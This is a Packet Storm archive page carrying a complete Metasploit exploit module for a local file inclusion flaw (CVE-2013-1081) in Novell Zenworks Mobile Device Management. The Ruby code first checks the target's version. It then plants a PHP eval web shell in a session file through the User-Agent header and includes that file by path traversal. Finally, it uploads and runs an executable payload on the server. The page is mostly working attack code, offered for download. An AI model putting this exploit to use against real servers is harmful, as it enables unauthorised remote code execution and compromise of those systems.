what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Novell Zenworks Mobile Device Management Local File Inclusion

Novell Zenworks Mobile Device Management Local File Inclusion
Posted Jun 5, 2013
Authored by rgod, steponequit | Site metasploit.com

This Metasploit module attempts to gain remote code execution on a server running Novell Zenworks Mobile Device Management.

tags | exploit, remote, code execution
advisories | CVE-2013-1081, OSVDB-91119
SHA-256 | c205bff74ab5ba4eec1ea5921658071d152b4c705815f098f1d662c072858873

Novell Zenworks Mobile Device Management Local File Inclusion

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability',
'Description' => %q{
This module attempts to gain remote code execution on a server running
Novell Zenworks Mobile Device Management.
},
'Author' =>
[
'steponequit',
'Andrea Micalizzi (aka rgod)' #zdi report
],
'Platform' => 'win',
'Targets' =>
[
[ 'Novell Zenworks Mobile Device Management on Windows', {} ],
],
'DefaultTarget' => 0,
'References' =>
[
['CVE', '2013-1081'],
['OSVDB', '91119'],
['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
],
'DisclosureDate' => "Mar 13 2013",
'License' => MSF_LICENSE
)

register_options([
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
OptInt.new('RPORT', [true, "Default remote port", 80])
], self.class)

register_advanced_options([
OptBool.new('SSL', [true, "Negotiate SSL connection", false])
], self.class)
end

def peer
"#{rhost}:#{rport}"
end

def get_version
version = nil

res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})

if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
end

return version
end

def check
v = get_version
print_status("#{peer} - Detected version: #{v || 'Unknown'}")

if v.nil?
return Exploit::CheckCode::Unknown
elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
# Conditions based on OSVDB info
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def setup_session()
sess = Rex::Text.rand_text_alpha(8)
cmd = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
'method' => "HEAD",
'uri' => normalize_uri("#{target_uri.path}/download.php"),
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
})
return sess,cmd
end

def upload_shell(session_id,cmd_var)
fname = Rex::Text.rand_text_alpha(8)
payload = generate_payload_exe
cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
cmd << "file_put_contents($wdir.'#{fname}.exe',"
cmd << "base64_decode(file_get_contents('php://input')));"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
'data' => Rex::Text.encode_base64(payload),
'vars_get' => {
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
cmd_var => cmd
}
})
return fname
end

def exec_shell(session_id,cmd_var,fname)
cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
cmd << "$cmd=$wdir.'#{fname}';"
cmd << "$output=array();"
cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
cmd << "$pipes,null,null,array('bypass_shell'=>true));"
cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
'data' => Rex::Text.encode_base64(payload),
'vars_get' => {
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
cmd_var => cmd
}
})
end


def exploit()
begin
print_status("#{peer} - Checking application version...")
v = get_version
if v.nil?
print_error("#{peer} - Unable to detect version, abort!")
return
end

print_good("#{peer} - Found Version #{v}")
print_status("#{peer} - Setting up poisoned session")
session_id,cmd = setup_session()
print_status("#{peer} - Uploading payload")
fname = upload_shell(session_id,cmd)
print_status("#{peer} - Executing payload")
exec_shell(session_id,cmd,fname)

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::OpenSSL::SSL::SSLError => e
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
end
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close